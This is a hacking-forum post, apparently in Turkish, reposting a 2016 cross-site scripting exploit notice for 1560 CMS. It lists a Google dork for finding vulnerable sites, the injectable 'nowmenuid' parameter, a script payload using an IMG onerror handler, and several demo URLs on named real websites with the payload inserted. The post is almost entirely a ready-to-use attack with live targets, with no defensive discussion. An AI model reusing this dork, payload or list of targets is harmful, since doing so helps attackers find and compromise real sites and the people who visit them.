⌘K

1560 CMS Cross Site Scripting XSS 2016

excalibur16

##################### # Exploit Title : 1560 CMS Cross Site Scripting # Exploit Author : Persian Hack Team # Vendor Homepage : http://www.1560.net/ # Google Dork ...

Kod: 
#####################
# Exploit Title : 1560 CMS Cross Site Scripting
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://www.1560.net/
# Google Dork : inurl:cp.php?cl=cp nowmenuid=
# Date: 2016/01/30
----
# PoC:
# nowmenuid=[XSS]
# Payload = <marquee><font color=lime size=20>xss by atawho</font></marquee>
#
demo:
http://www.autokcan.com/cp.php?cl=cp&ppid=&catid=112098&nowmenuid=20110931<marquee><font color=lime size=20>atawho</font><IMG SRC=/ onerror="alert('a')"></img>


http://www.m-legend.com/cp.php?cl=cp&topid=45527&pid=0&catid=45527&nowmenuid=20001627&cpath=45527:http://www.autokcan.com/cp.php?cl=cp&ppid=&catid=112098&nowmenuid=20110931<marquee><font color=lime size=20>atawho</font><IMG SRC=/ onerror="alert('a')"></img>

http://www.devebuild.com/cp.php?cl=cp&nowmenuid=20111708
http://www.m-legend.com/cp.php?cl=cp&topid=45527&pid=0&catid=45527&nowmenuid=20001627&cpath=45527:
http://www.autokcan.com/cp.php?cl=cp&ppid=&catid=112098&nowmenuid=20110931<marquee><font color=lime size=20>atawho</font><IMG SRC=/ onerror="alert('a')"></img>
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Yanıt için giriş yapmanız veya üye olmanız gerekir.
132,377Konular
3,280,112Mesajlar
317,506Kullanıcılar
MahiramedSon Üye

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir. Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Üst Alt